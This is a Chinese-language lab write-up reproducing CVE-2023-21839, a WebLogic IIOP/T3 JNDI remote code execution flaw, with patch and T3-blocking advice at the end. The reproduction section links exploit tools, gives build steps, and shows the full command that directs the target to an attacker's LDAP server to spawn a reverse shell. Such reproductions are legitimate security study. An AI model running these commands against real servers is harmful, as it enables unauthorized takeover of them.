一.WebLogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
二.漏洞简述
CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。
三.漏洞原理
T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通过lookup代码c.lookup(“xxxxxx”); 查看。远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象getReferent方法。由于weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现getReferent方法,存在retVal = context.lookup(this.remoteJNDIName)实现,所以能够通过RMI/LDAP远程协议进行远程命令执行。(也就是CVE-2023-21839允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。)
四.影响版本
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
五.环境搭建
用到的相关工具
CVE-2023-21839:
https://github.com/4ra1n/CVE-2023-21839
JNDIExploit.v1.2:
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
启动靶机,如下图
访问页面:
http://ip:7001/console/login/LoginForm.jsp 即可访问到后台管理登录界面,出现以下界面证明环境搭建成功
使用https://github.com/4ra1n/CVE-2023-21839,上传到kail进行编译
给kail安装go环境:apt install gccgo-go
解压工具CVE-2023-21839:unzip CVE-2023-21839.zip
到对应目录下进行编译,将会生成对应工具:cd CVE-2023-21839-master/cmd
go build -o CVE-2023-21839
JNDIExploit.v1.2
访问链接下载:
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
上传至kail上并解压准备使用:unzip JNDIExploit.v1.2.zip
六.漏洞复现
使用工具JNDIExploit-1.2-SNAPSHOT.jar在kali上设置监听:java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.230.129
(攻击机IP)
使用CVE-2023-21839工具来进行攻击测试(其中192.168.230.128为靶机IP,192.168.230.129为攻击机kail的IP):cd CVE-2023-21839-master/cmd
./CVE-2023-21839 -ip 192.168.230.128 -port 7001 -ldap ldap://192.168.230.129:1389/Basic/ReverseShell/192.168.230.129/8866
反弹Shell成功
七.修复建议
官方修复措施
Oracle官方已发布修复方案,建议及时更新。
https://www.oracle.com/security-alerts/cpuapr2023.html
临时处置和应对措施
禁用T3协议,或者对协议端口进行访问控制。
原文始发于微信公众号(小白嘿课):CVE-2023-21839 Weblogic反序列化漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论